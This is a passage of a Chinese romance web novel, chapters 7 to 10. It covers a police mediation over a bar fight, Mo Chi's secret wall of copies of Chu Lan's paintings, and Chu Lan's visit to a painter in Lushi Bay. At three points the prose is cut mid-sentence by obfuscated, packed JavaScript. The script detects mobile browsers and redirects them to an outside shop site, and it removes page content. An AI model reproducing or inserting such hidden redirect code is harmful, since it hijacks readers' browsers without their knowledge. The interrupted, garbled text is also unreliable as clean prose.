《上了年下野犬的船后》 7.回环 走廊传来一阵沉促的脚步声,门再次被推开了。 两个年轻警察见到来人,忙起身跟对方打招呼,叫了声“师父”。 ——来者是位五十多岁的老警察,冲两名年轻人点了下头后,视线在其他人身上逐个扫了一遍,最后落回莫池这里。 帽子一摘坐到椅子上。 “你动手没有?” 话问的是莫池。 “没有。” 老警察“嗯”了声。 光头一眼便知这人绝对是个“头儿”,瞬间收敛了嚣张,卖惨道:“警察同志!你看我们好端端出来玩,没招谁没惹谁,结果旁边居然坐了个劳改犯!你们镇上这治安管理也太差了吧!” “就是就是!”边上的“大波浪”也一改先前的谄媚,接话说,“还满大街的乱跑,多危险呐!” “行了你们。”年轻警察实在听不下去,指责道,“说话都注意点,人家已经刑满释放了。再说是你们先动的手,别个属于正当防卫,这事刚才不就理清楚了。” “那不一样!再说我也受伤害了!叫什么来着…”光头一拍脑门,“哦对!精神损伤!我有羊癫疯,他吓着我了!” “对!我老公一受惊吓就抽抽!赔钱!精神损失费!” 旁边警察都给整笑了,心说这不是纯耍无赖么。 姓程的老警察闻言也调整了下坐姿,手往胸前一抱:“你们想要多少?” “光头”和“大波浪”对了个眼神,大波浪伸手比了个“二”:“两万,他的医药费就从这里面扣,也别说我们讹人。” 光头:“对,不然我现在就抽过去!” “你倒是抽。”小警察嘟囔,被老警察瞥了眼,乖乖闭嘴坐正。 此时,一道温润平和的声音自旁侧响起—— “可以。” 说话的是初澜,只见他慢条斯理地说,“但在此之前,我也希望二位能对我进行一定的精神赔偿,毕竟我也因为遭受二位诽谤,受到极大的心理创伤。” “光头”和“大波浪”显然没料到全程保持缄默的初澜会在此时突然冒出这么一句,面面相觑都有些失措。 “大波浪”率先回神,狡辩道:“怎么是我们诽谤,是网上说你睡学生,还不想负责,你找网上的人去!” “没有证据就是诽谤。”小警察说,“网上还说打个喷嚏会得癌呢。” “那,那就是网上说的嘛…” 初澜并不理会大波浪的无理取闹,只择其重点道:“我原本就在定期进行心理干预和服用精神类药物,当前自我感觉状况十分糟糕,不排除是病情加重了。针对以上的话,我都可以提供过往所有病例。如果二位无法提供证据,我看……” 他掀起眼睫,“两万吧,我朋友的医药费另算。” …… * 事情彻底结束已接近午夜,最终的处理结果是经调解后双方态度达成一致,由“光头”赔付莫池两千元,作为后续医药费。 “光头”和“大波浪”走后,初澜便也要带莫池到镇上的医院,莫池淡淡挥开初澜,说“不用”,被姓程的老警察从身后踹了一脚。 “不用什么不用!”老程骂了句,又转脸对初澜道,“那就麻烦您先带他去,我等会儿过来。” 他的语气还是严肃,但显然比刚刚和缓了不少。 莫池倒还算是听老警察的话,闻言不再执拗,在对方的监督下跟着初澜一起出了派出所,朝镇医院走。 江边较华灯初上之时冷清了不少,镇医院外拉着铁闸门,只留了条一人宽的缝隙,里面是狭窄的走廊。 值班小医生跟莫池也认识,看着他手上渗血的纱布扬了下眉:“什么情况啊?” “不小心划伤了。” “呵,不小心…跟人动手了吧?”小医生边说边拆开纱布,嘴里一个劲儿地“啧啧”,“你这伤口可不浅,啤酒瓶砸的?” “碎啤酒瓶。”初澜接话,“他没动手,麻烦您帮检查下,有没有扎进玻璃碴。” 医生看了初澜一眼,又看向莫池,莫池头也不抬地道:“我家客人。” “客人砸的啊?” “不是。”莫池懒得多废话,“你能不能治了?” 小医生乐呵呵道:“我说瞧着也不像。”他拧开双氧水,又从器械盒里拿出枚镊子,“忍着点哈,给你消个毒。” 双氧水浇在莫池伤口上的时候,他很轻地皱起眉,指节不由抽动了下,又随着呼吸慢慢张开。 “医生。”初澜下意识喊了句,顿了顿说,“麻烦轻点。” “轻不了,他都没喊你怕什么。”小医生嘴上虽贫,动作倒是麻利,很快就给莫池仔细检查完,重新缠上绷带,“倒是没看见有玻璃碴,但要好怎么也得一星期了。好在你伤的是左手,应该不太会影响日常生活。注意伤口别碰水,抽烟喝酒的不要,船也暂时让唐军他们帮你开几天吧,全当放个假了。” 小医生关掉检查灯,摘下口罩对初澜说:“客人,帮我看着他点。” 等待医生去取消炎药时,莫池给黄飞宏打了通电话,之后便沉默的和初澜并排坐在走廊椅子上。 白炽灯释放出冰冷的光线,几只飞蛾围着光打转,空气中弥漫着一股消毒水的味道。 初澜看向莫池包扎好的手,上面被小医生恶劣的故意打了个蝴蝶结。 莫池拧着眉,似乎想把蝴蝶结扯掉,重新系好。但因为只能用一只手不方便,费劲解了半天都没解开。 初澜伸手将莫池的胳膊轻轻拉到自己跟前,低头帮他弄。 莫池手指微蜷了下,但终是没将胳膊收回,垂着眼安静看初澜将蝴蝶结拆开,重新打好结。 “莫池。”初澜开口唤了声,莫池低敛的眸光微微颤了下。 这还是初澜第一次叫他全名。 初澜静了片刻,问:“为什么要对我这么好。” 这个疑问其实在他心里藏很久了,起先是觉得莫池家做生意,知道自己情绪不稳定怕出意外,才会对他格外照顾一些。 但今晚,就算对方要给自己打抱不平,也大可不必为他一个“客人”和“光头”等人起正面冲突,毕竟自己哪天走了,莫池还得继续留在这儿做生意,万一被恶意报复了怎么办? 虽然两人认识的时间不长,但莫池给他的感觉一直都是寡言却思虑周全,不可能想不到这些。 见莫池不答,初澜顿了顿说:“我的意思是,我们才认识不到两天,我也只是你的一位客人。” “你不是他们说的那种人。”莫池不咸不淡地说。 “但你又怎么确定呢?” “那你是么?” 莫池抬起头,与初澜对视。 狼一般的暗沉眼眸像是带着某种磁力,牢牢吸附着初澜。 又重复了遍: “是么。” 漫长又短暂的一阵静默后,初澜终是轻轻叹了口气:“不是。” 他意识到两个人的对话似乎陷入了某种怪圈,看似一问一答,实则又好像一直在兜圈子。 后来老程也到了,站在医院外的树下抽烟。 方才莫池他们走后,老程又冲两个小警察发了好大一通火,骂他们办案流程不严谨,泄漏他人隐私,给了严肃处分。 这会儿他看着莫池出来,隔着铁门,朝他招了下手。 莫池不再理会初澜,起身朝门口走去。 初澜看到老程也给莫池递了根烟,两人不知道说了什么,老程抬脚踹了莫池,但最后还是伸手拍了拍他的肩。 这两下莫池都没有躲。 离开医院再回到江边时,初澜离着段距离就看到黄飞宏正坐在码头台阶上,百无聊赖地往江里投小石子。 见莫池和初澜过来,他冲两人挥挥手,待他们走近后一眼就注意到了莫池缠着的绷带,顿时起身瞪大眼:“谁啊!哪个王八蛋干的?!” “大半夜的别嚷嚷。”莫池出声,黄飞宏又把目光紧张地调向初澜。 初澜抿唇:“为了护我。” “啊?你怎么了!” 莫池不想初澜跟黄飞宏说太多,转移话题问:“唐军呢?” “哦,他老婆回来了在家陪呢,让我划船过来接你们。” 唐军就是“圆寸头”,长得一副悍匪相,却是几个人里最先讨着老婆的。 这人脑子比脸看起来要活,以前也是在江上开摆渡船的。后来率先抓住了直播带货风口,把他家柚林里的果子做成蜜饯,一年能挣不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978675|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>如今林子、厂子都有人看着,他自己落得清闲,便又回归老本行,没事干的时候就和莫池一天两班倒的开船。 初澜朝江面看去,只见一条小船正横在那里,随着江水轻轻摇晃。 黄飞宏的注意力才刚被分散了一下就又再次聚焦回莫池手上,抓抓脑袋:“小池哥,你这手真没事吧?去医院找刘小兵看过没?” “看了,他说一星期能见好。”莫池说,“就是这几天还得辛苦你跟唐军一下。” “嗐,这都不算事!” 莫池点点头,叼了根烟到一边取锚。 月光照在锚头上泛着盈润光泽,和他唇边零星的火光恰好构成一冷一暖两个焦点,将莫池夹在中间。 “你跟我们回岛上还是怎么着?”莫池边缠绳边问黄飞宏。 “我跟我哥说晚上去他店里…但你这手…” “去吧。”莫池尝试转了转手腕,“真没事,明晚来家吃饭。” “哥,你确定不?…真行啊?…不行的话我…” “别烦人。” 黄飞宏虽然还是不放心,但也知道莫池不会不顾安全,毕竟身边还带着客人,于是犹犹豫豫地说:“那,行吧。” 莫池又将头偏向初澜,低声说了句“上船吧。”,便率先去到船头。 垂在身侧的右手悄然握紧又松开了几次,终还是转身,朝初澜伸来。 初澜抓过莫池的手,被他带到船上。 莫池摇动船桨,小船晃晃悠悠朝着江心漂去。 今晚的夜空格外晴朗,迢迢星河间,一轮硕大的圆月悬在头顶。 两岸的灯火大多都已熄灭了,只剩零星的还在偏执且孤独的闪烁。 月光洒在波光粼粼的江面,又被船桨轻轻搅碎,没了白日的喧嚣和摆渡船发动机的噪音,此刻就只剩不急不缓的划水声。 从医院出来后,莫池除了刚刚那句“上船吧”,就再没和初澜说过任何话。 甚至都没拿正眼看过他。 初澜当然知道他是在介意什么,想出言安慰,但一时又没想好该怎么开头。 ——每个人的身上或多或少都背负着一些不愿为人知晓的事,成为隐痛,随着时间变浅或变得更深。 他自己也一样。 最后,当小船即将抵达岸边时,终还是莫池先开了口。 他背对着初澜说:“我在岛上给你订家别的民宿,你过去住吧。” 莫池的语气仍没展现出多少情绪,只是又找回了一开始的淡漠疏离。就好像今晚带初澜买衣服,买奶茶,还开玩笑说初澜馋酒的人根本不是他。 初澜很轻地皱了下眉,在莫池泊船要拉他下去时,推开莫池的手。 “为什么?” 莫池盘着船绳,沉默不语。 “因为你坐过牢?” “我捅过人。”莫池动作停下了,低沉的嗓音浸在如水的夜里,显得生硬冷冽。 “39克的美工刀。” 他转过身睨着初澜,漆黑的眸子里染上一点戏谑,“你不是问我‘为什么对美工刀的尺寸特别清楚’么?” 初澜没说话,只是抬头平静地与之对视。 莫池被他看的偏过头,有些不耐地又掏出烟盒,磕出一根烟含进嘴里。 刚要点着就被人从唇边抽走,捻灭在一旁。 “你用不着故意这么吓我。”初澜说,“我也不打算换地方住,坏人不会说自己是坏人。” 莫池嗤笑:“你怎么确定。” “那你是么?” 同样一句话,又在今夜的此时此刻,被初澜轻描淡写地反问了回来。 他看着莫池,轻声重复了遍: “是么?” 一切再次安静下来,江水被风推着一次次拍打上岸,发出“哗啦哗啦”的声响。 许久之后,莫池轻轻阖了下眼,背过身去。 “随便你。” 当那些不堪猝不及防地暴露在初澜面前时,他承认自己慌了。 特别是刚才在派出所里,初澜望向他时诧异的眼神,让莫池的心脏都停止了跳动。 谁都可以,唯独就是不愿被初澜知道。 为什么偏要让他,再遇到初澜? …… 8.蒙尘 回到民宿后,陈芳草已经睡了,在一楼前台给他们留了灯。 莫池从冰箱里拿了几瓶酒就先回了房间,初澜在一楼的阳台上独自坐下,眺望着无边的夜色与江水。 偶尔也会有一两条小船经过,上面跳动着微弱的渔火,依稀能听到水鸟扑棱翅膀的声音。 莫池告诉他现在基本已经不会有人采用鸬鹚捕鱼这种原始的方法了,看来也并不尽然。 夜里的潮气很重,当初澜回过神时,身上的衣服已经沾染潮气变得湿润。 他打开手机,徐果又给他发了好多搞笑段子和一看就漏洞百出的艺术家野史,最下面是一条关于朔松江某个叫“橹石湾”的地方正在打造网红渔村,家家户户种植大片的蔷薇和三角梅,墙上画满各式各样的装饰画。 徐果——【别说,画画得不错啊!你方便的话可以顺路去看看!】 初澜放大了那些画,果然画得还不错,颜色搭配的大胆却不失协调,尤其是展现渔村生活的人文景观更是生动传神。 初澜有些出神,他又想起了那幅曾在画展上看到的画。 他打开地图试着搜索“橹石湾”,但并没有相关显示。 初澜起身离开阳台,上了楼,在201门口停住,静了片刻后抬手敲响房门。 屋内一片寂静。 就在初澜以为莫池睡了,打算等明天见到他后再问关于“橹石湾”的事时,门从里面被人打开。 昏黄的光线从室内投出,莫池逆光站着,高大宽阔的身型遮挡住房门。 他身上带着淡淡酒气,头发略显凌乱,右手的指间还夹着半截烟。 就这么淡漠地看着初澜,看起来有些颓废。 “你明天有安排么?”初澜问。 莫池沉了沉,低低“嗯”了声。 初澜点头,将手机递给他:“我想到橹石湾看看,能不能告诉我该怎么走?” 莫池的视线移到初澜的手机屏上,微微停顿后将其接过。 “路有点绕,明天让飞宏带你去。” “不用。”初澜轻声打断,“你们忙,我自己可以找到。” 莫池又沉默了下,跟初澜撂了句:“你等等。” 说完关上门,不一会儿再次打开,手里拿着份岛上的路线图。 “出了我家沿江一路向西,路过一片桂花林左转,上石桥。你会看到一个路牌,往上是桂花古道,往左是藤若寺,右边是大石村。大石村就是橹石湾,为了发展旅游前不久改名了。” 莫池边交待,边用右手的食指在图上划。 指腹的薄茧每当掠过一次,就会发出细微的“沙沙”声。 他个头比初澜高,需要稍微往前弓着身说话,被酒精蒸过的呼吸比平时烫,嗓音也带着些哑。 最后,莫池又在初澜的手机上输入了一串电话号码,递给他说:“迷路了给我打电话。” 初澜接过道了声谢,莫池低低说了句不用,又看了初澜一会儿。 “还有事么?” “没了。”初澜握着手机,“你早点休息吧。” 莫池又“嗯”了声,关上房门。 听着门外的脚步渐渐走远,莫池在门前独自站了会儿,这才转身回到床边坐下。 啤酒拉环被他单手抠开,喝完后把那半截香烟直接扔进了啤酒罐里。 香烟遇水发出“嗞”的一声,莫池屈起的两腿微微张开,双手搭着膝盖一下下按压着空啤酒罐,任由它下陷形成一道浅坑。 良久,他缓缓抬头盯向面前的墙壁。 ——那面墙被一张巨大的白布蒙着,严丝合缝,一尘不染,四个角分别被钉了图钉。 台灯光把莫池的影子投在白布上,他忽然发现左上角的图钉似乎有些松动了,便将啤酒罐扔进垃圾桶,拖过一旁的凳子来到墙下,踩了上去,想把图钉重新固定好。 也可能是酒喝得太猛,又因为只有一只手不方便,莫池半天都没找到钉眼,反而被钉子狠扎了下。 他皱了下眉,凳子也跟着一晃。 莫池本能就去扶墙,结果恰好拉住了那块松动的布角。 白布“哗”一下被他扯了下来。 ——只见满墙满壁,由上至下全部挂满了一排排的画。 人物、风景、动物、或只是色彩与线条组合成的抽象画。 用来画画的纸张多数已经泛黄,应该有些年月了。 无一例外,这些画全部都是临摹稿。 被临摹对象只有一人。 初澜。 …… * 莫池的第一反应就先是检查自己的血有没有把那些画弄脏,确认没有后才稍松了口气。 他将拇指上的血挤掉,本想把白布重新蒙回去,却还是被最新挂上的那张画吸引了目光。 ——准确而言,那只是一张潦草的轮廓图,甚至用的都不是画纸,而是一份广告宣传页的背面。 正是初澜上船那天,自己从他手上抢过的那张,如今成了众多临摹画中唯一一幅真迹。 莫池将画取下来,在昏黄色的暗淡光线里静静看着。 第一次见到初澜的画还是在他高一那年,美术老师在课上讲印象派和雷诺阿。 对于高中生而言,美术课无疑是用来放松和摸鱼的官方指定课程,所以压根没什么人听。 但莫池不同,他就是传说中那个文理科样样拔尖,老师们心目中冲刺名校的“种子选手”,却偏偏对美术产生了浓厚兴趣,一心想考美院的“异端”。 因而在老师讲到其中一个环节,并以一幅名叫《天鹅颈》的印象派油画作为案例时,他几乎瞬间就被这幅画吸引了。 起初他还以为这幅画应该也是来自于十九世纪末期的某位大师,直到老师说画的创作者现在正在宿城美院任教。 宿城美院…… 莫池懒洋洋托着下巴,另只手默默将画纸上“央美”的“央”字划掉了。 自此,向来对网络游戏不感兴趣,q号也只是用于接收班级群信息的莫池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993476|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破天荒爱上了去网吧。 将所有能查到的关于初澜的作品翻找出来,再走个七八公里,到镇上能彩打的文印店里把这些画打印出来,放进一个画夹里,欣赏临摹。 那时的班主任比较敏感,最初还以为是莫池染上了“网瘾”,几次三番找他谈话。 直到美术老师出面为其说话,才勉强睁一只眼闭一只眼的无奈接受现实。 也是在某次一不小心的网吧包夜里,他在一则专访里看到了初澜的照片。 是一张远远的背影,穿着白衬衫。 和在朔松江畔时一样。 …… 图钉在拇指上扎的小眼已经不流血了。 莫池把白布罩回墙上,拿着那张宣传页来到桌边。 他的桌面陈设很简单,一盏台灯,一包香烟,一只用来当烟灰缸的八宝粥筒,一个自己和陈芳草的合照相框。 许久,莫池打开桌子抽屉,里面是他高中时用的铁皮文具盒。 橡皮、尺子、折叠小刀、长短不同的铅笔…… 莫池取出一支铅笔,将宣传页铺在桌上,手指一点点细细描过那些线条,却不敢完全压实,怕把线条抹脏。 在尝试了不知多少遍后,他终于深吸了口气慢慢吐出,开始着手用铅笔补齐那张画。 骨节在握笔时变得有些突出,手背上浮现出青色的血管,向来冷淡的脸上难得出现了一丝凝重。 笔尖接触纸面画出一段短短的黑色线条。 仅此一笔,莫池便又将笔放下了。 改去拿一旁的烟。 火机滚轮被他连擦数下还是没打着。 莫池不得不用缠绷带的左手死死握住右手的手腕。 ……别抖了。 被他新添的那道黑线像一条歪歪扭扭的蚯蚓,死皮赖脸地匍匐在原本灵动的线条上。 莫池叼着烟想拿橡皮擦,一不小心擦掉了初澜原先画的部分。他又由擦改为补,那条蚯蚓顿时变得更加丑陋。 大概是过于用力,笔头一下断在纸上,留下个笨拙的黑点。 莫池拿起刀重新削笔,却因手抖得太厉害,总是削断。 烟头积攒了长长一截烟灰,莫池面无表情机械地削着,到后来只觉得手里的铅笔越来越软。 刀划在上面,像划开人的皮肤。 当时天阴沉的厉害,太阳躲进厚密的云层,所有一切都只剩下黑色的轮廓。 只有溅出的血是鲜红的。 “当啷。” 小刀掉在地板上。 莫池按灭台灯,屋内顿时陷入一片死黑。 他一动不动地仰躺着,在黑暗中缓缓举起还在不停发抖的手,冰冷地注视。 ——画画的人总习惯在面对危险时优先保护右手,以至于哪怕在接下那只砸来的啤酒瓶时,他也还是本能会这么做。 可这只手现在别说绘画,连笔都握不稳。 还有什么保护的意义? 还保护个屁。 …… 9.橹石湾 初澜这晚也没睡好,从混乱嘈杂的梦里醒来时,一缕熹微的光刚好从未拉严的窗帘缝隙里透进来。 他扶着昏胀的额头坐起身,又在床上静坐了会儿,这才起身下床拉开窗帘,打开通往阳台的推拉门。 潮湿的江风吹了进来,太阳还未升起,启明星闪烁于东方天际。 朔松江在白雾与深蓝色的天光里静静流淌,也是副还没完全睡醒的样子。 充足的氧气从鼻腔灌入,让初澜混沌的大脑有了几分清明。 正在他要去洗漱时,就看到莫池出了民宿的门,照例先清扫了院子,给牵牛花浇水。 初澜没有出声喊莫池,但对方还是若有所感地朝他看来一眼,而后继续忙手上的事。 等初澜洗漱完后,莫池已经走了。 他推开房门,就见门口的置物架上放着碗姜汤。 早已凉透了,应该是昨天半夜就放在这里的。 初澜觉浅,照理说如果有人敲门一定是能听到的。 可见昨晚莫池来送姜汤时并没喊他。 那问什么还要来送? 初澜无奈地叹了口气,他是真有点搞不懂这个小老板。 不过转念又一想,也不见得就是莫池送的,也可能是陈芳草。 端来姜汤时发现时间太晚,怕初澜睡了才没叫他。 初澜端起姜汤,拿着房门钥匙下了楼,发现一楼的桌上已经摆好一份早餐。 煎蛋、烤的焦黄的土司、居然还有一杯热红茶。 倒是和自己平时习惯吃的食物一样。 其实昨天的米粉味道也还不错,但就是他大早上有些吃不下。 大厅里静悄悄的,陈芳草应该还没起床。 初澜看了眼墙上挂的时钟,刚刚五点半,莫池居然这么早就出门了。 初澜默默将早餐吃完,想着趁天凉快早点出发去找橹石湾。 他按照莫池昨天跟他说的线路,从民宿出来一路向西沿着江边走,目睹着岛上的一切随着太阳升起一点点苏醒过来,空气中的桔子花味也慢慢混入了桂花香。 在经过莫池所说的那座石桥时,初澜的手机忽然震了下。 打开是一条短信。 ——【飞宏去民宿没找到你,你已经走了?】 初澜知道是莫池,将他的号码存入通讯录,回复: ——【嗯,出发了。】 他斟酌了下,又回了条过去。 ——【谢谢你送的姜汤^_^】 “^_^”是初澜从学生那里学会用的,以前他总习惯用微信自带的“微笑”表情,后来学生告诉他“微笑”的意思不好,表嘲讽和无语。 虽然初澜不太理解,但日后还是尽量避免使用。 对面半天不回了。 正当初澜以为“^_^”如今是不是也变成失礼的意思时,手机再次震了下。 ——【凉了就别喝了。】 看来“^_^”没毛病。 莫池——【没迷路吧。】 初澜回了句“没有”,顺手拍了张石桥的照片发给莫池。 那边又静了会儿。 ——【好。】 初澜把手机放回口袋继续走,大约又过了二十分钟后,看到了写有“大石村”的路牌。 他按照路牌指示往右,不一会儿便再次来到江边。 映入眼帘的是一条小路,明显是专门修缮过的,比来时的土路干净平整不少。 路两边是一座挨一座的二层小楼,正如徐果发给他的照片,家家户户都种植着蔷薇和三角梅。 最靠近江边的小楼被粉刷成了不同颜色,上面画着各式各样的画。 江面停泊着几只竹筏,对面是起起伏伏的青山。 野鸭穿梭在水草丰茂的浅滩,或是打理羽毛,或是一下扎进水里,荡起层层波纹。 “你是来旅游的吧?”身后忽然响起一个声音,初澜转身,隔着点距离迎上一张笑眯眯的脸,“好早啊,就住在岛上?” 那是个五十来岁的男人,国字脸,穿一件灰色工装,系条深蓝色的围裙,上面还沾着颜料。 他右手提着丙烯颜料桶,肩上还挎着个旧布包,虽然皮肤被晒得黝黑,但其实长得很周正。 初澜冲男人点点头:“对。”顿了下又问,“墙上这些是您画的么?” “是啊。”男人爽朗一笑,难得说话没什么口音,“现在全国都在大力搞旅游,咱们这儿也不能落后不是?” 男人又对初澜道:“你玩吧,我得接着赶工了。” “我也是被这些画吸引来的。”初澜温声说,“方便的话,能不能看您作画?” “那能有什么不方便的!”男人朝不远处的房子一指,“就那间房,走啊。” 初澜颔首,和男人一起往房前走着。 男人很自来熟地介绍:“我以前是镇上高中的美术老师,这不是前两年生病,就提前办了病退回村了。肺上的事儿,医生开始都说没治了。但我心态好,你看现在还活蹦乱跳的,还顺带着把烟也给戒了。” 他无所谓地笑笑,又问:“我姓胡,口月胡,胡晓峰。先生贵姓啊?” “免贵姓初。” “嗬,这姓可不常见。”胡晓峰道,“初先生也对壁画感兴趣?冒昧问下您做什么职业的,是摄影还是设计?” “跟您是同行。”初澜说,“美术老师。” 胡晓峰突然停住脚步,沧桑的眼里划过一丝暗惊,扭头看着初澜将猜将疑地问: “您不会是…宿城美院的吧?” “…您是初澜?!” …… 在对方叫出自己名字时,初澜也先是愣了下,全然没想到会被认出来。 但仔细想来似乎也不奇怪,初姓本就少见,自己又跟他说了是美术老师。 又或者…… 胡晓峰也看过网上关于他的传闻。 见初澜并没否认,胡晓峰激动地一把握住他的手:“真是您啊初老师,您不知道我当年总在课上拿您的画举例子,今天可让我见着真人了!” 他一下像是打开了话匣子,“尤其是那幅《天鹅颈》,我每回讲到印象派的时候就会拿它出来,没记错的话,那应该是您二十三岁时画的吧?” “那幅画很小众。” “我最喜欢那幅!您不知道,我当时还有个很有天赋的学生,也是因为看了您的画萌生了去宿城美院的想法。他原本是要考央美的,结果……” 胡晓峰突然噤声了。 笑容在脸上停了两秒,又笑着摆了下手。 初澜还在等着他的“结果”,见对方不再往下说,疑惑地问:“所以他最后考去哪里了?” “不搞美术了。”胡晓峰又笑了笑,而后像自言自语地说,“那孩子文化课成绩好,是上重点大学的料。” “也好。”初澜点点头,“干咱们这行不好找工作。” “是啊,还不如做点小买卖呢,您说对吧。” “嗯。” 两人说着,来到一栋二层小楼前,初澜看到上面画的是一幅风俗画,描绘了当地传统节日的盛况。 ——袅袅江雾间,迎神的队伍踩着满地红纸,抬着轿子,从龙王庙一路前往码头,将龙王请上装扮了鲜花和绸缎的船。 “是江龙王。”胡晓峰搬了梯子爬上去,边勾勒着龙王的胡须边说,“每年我们这里都要祭祖拜龙王的,祈祷风调雨顺,驱灾避害。有点像福建那边的‘游神’,又不太一样。” 他蘸了点颜料接着说,“我们守着江,过去吃穿用度都靠它,也有不少人最后就睡在这江水里了。算是请龙王出面,平息一下江的怨气。” 胡晓峰抬手擦了把汗,回头冲初澜咧嘴笑笑:“初老师来得巧呢,恰好能赶上,活动就在后天!我这不才着急忙慌想赶在之前把画画完。” …… 之后,胡晓峰也渐渐进入到了绘画状态里,不再与初澜多交谈,只是会在用色拿不准时偶尔请教一下初澜,而后豁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024688|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然开朗。 这一画就直接到了半下午,胡晓峰一看时间吓了一跳,赶忙从梯子上下来,说什么都要请初澜到家吃个饭。 胡晓峰就是大石村人,先不管教什么,只老师这一重身份就令他在村里颇受尊重。 加上大石村原本也是富村,他家的房自然修得宽敞明亮。 见实在盛情难却,初澜只能跟胡晓峰一起回了家。 胡晓峰家挂了很多油画,光看装饰就绝不是普通农户。屋里弥漫着一股松节油的味道,倒还算干净整洁。 胡晓峰的做饭手艺也不错,几个家常菜炒的有模有样。 饭吃到一半,他像变宝贝似的从里屋搬出一坛桂花酒,揭开盖子的瞬间,一股甘甜醇厚的桂花香便飘了出来。 “来来,初老师,尝尝我酿的酒!”胡晓峰说着便给初澜倒,没等他反应过来已盛了满满一碗。 初澜连忙推辞:“太多了胡老师,我酒量不行,您身体不好也少喝。” “这酒度数很低的!”胡晓峰热情道,“您先尝一口,保健的。” 初澜端起碗凑近闻了下,果然没什么酒精味,只有馥郁的花香。 一口入喉,也确实没感到辛辣,反而甜丝丝很绵柔。 胡晓峰边忙着给初澜夹菜边道:“我爱人走得早,家里就我跟儿子,饭都是我做。” “我看五屉橱上摆着您儿子的奖状。” “画画拿的奖,他上学的时候学习成绩一般。”胡晓峰说,“不过现在也大了,在我以前任教的高中当美术老师。” 两人边吃边聊,多数时候都是胡老师在说,初澜礼貌应衬。 等吃到快结束,外面的天忽然阴了下来,从山外飘来的积雨云遮住太阳,云层中传出几声滚雷。 不时,豆大的雨点便劈里啪啦砸在窗户上,迅速连成线。 胡晓峰到厨房去拿自制辣酱,初澜见窗户没关严怕雨卷进来,起身想将窗关上。 结果刚走到窗边,一阵冷风吹了进来,初澜顿感一阵头重脚轻。 胡晓峰从厨房出来的时候,就见初澜蹙眉站在窗边,一手支撑窗棱,另只手轻轻揉按着太阳穴。 胡晓峰吓了一跳,忙放下辣酱去扶初澜。 “初老师,您没事吧?” “可能是吹着凉风了,酒的后劲有些上头。”初澜晃了晃脑袋,到底还是低估了那坛桂花酒的威力。 胡晓峰将人扶到沙发上,看了眼外面的大雨:“这雨怕是一时半会儿也停不了,我看您别急着走了,在沙发上靠会儿醒醒酒。” “不好意思,胡老师。” “嗐,哪儿的话。” 胡晓峰又到屋里给初澜拿了床薄毯。 也不知是不是空气里那股松节油的味道让初澜感到一种久违的熟悉,他就在这淅淅沥沥的雨声中睡了过去。 全然没能感知到手机传来的震动,更没看到那一连串来自同一人的未接来电。 以至于当胡晓峰收拾完东西,听到屋里不断响起的“嗡嗡”声,并准确从初澜身上找到了他的手机,初澜都还没醒。 胡晓峰担心是什么重要电话,想着先跟对面的人说一声,却在看到来电显示备注的人名后愣了下,按了接通键。 电话里顷刻响起低沉的声音,气息有些不稳。 “你在哪儿?” 胡晓峰没说话,对面沉了一下。 “初澜?” “是我,小池。”胡晓峰顿了顿,放缓语气,“我是胡晓峰。” 对面又安静了。 半晌后,莫池轻轻喊了声:“胡老师。” “初老师现在在我家,我俩中午喝了两杯,他这会儿有点高了,在休息。” “他喝酒了?” “桂花酒,度数不高。”胡晓峰反应了下,“怎么,他真不能喝酒么?” 电话那边“呲呲啦啦”了阵,传来声低叹,雨声突然变得更大。 莫池:“我现在过去。” …… 10.日暮 莫池来到胡晓峰家时,屋外雨还在下。 看着沙发上盖着薄毯,安静睡着的初澜,莫池急促的呼吸这才有所放缓,抬手抹了把沾雨的脸。 “不是带了伞么,怎么淋成这样?”胡晓峰赶忙去拿了个干毛巾递给他,一眼看到了莫池包纱布的手,皱眉问,“手又是怎么弄的?” “不小心划伤了。”莫池心不在焉地说,目光仍落在初澜身上。 “您给他喝的到底是酒,还是蒙汗药?” 胡晓峰也感到很纳闷:“桂花酒啊,最多也就四五度,连小孩都能喝。” 莫池还是不相信这么低的度数能把初澜灌醉,毕竟这人之前还主动找自己要过酒喝。 他看向桌上摆着的酒坛,来到桌前伸手沿着坛边蘸了下,放进嘴里一尝,掀起眼皮: “四五度?” 这一问把胡晓峰也给整不自信了,碎碎念叨着去到厨房,不时便听到里头发出一声“哟,坏了!” 莫池闭了下眼,这事其实一点不稀奇,胡晓峰曾在莫池上高中时,就把牙膏错当成过白颜料用。 果然,胡晓峰一手抱着一个酒坛从厨房里走出来,欲哭无泪道:“四五度的是这坛,他喝的那坛是放了三年的。这可怎么办?” 怎么办,能怎么办? 外面还在下大雨,初澜看样子一时半会儿也醒不了。 莫池索性搬了个椅子坐下,默默等待雨停。 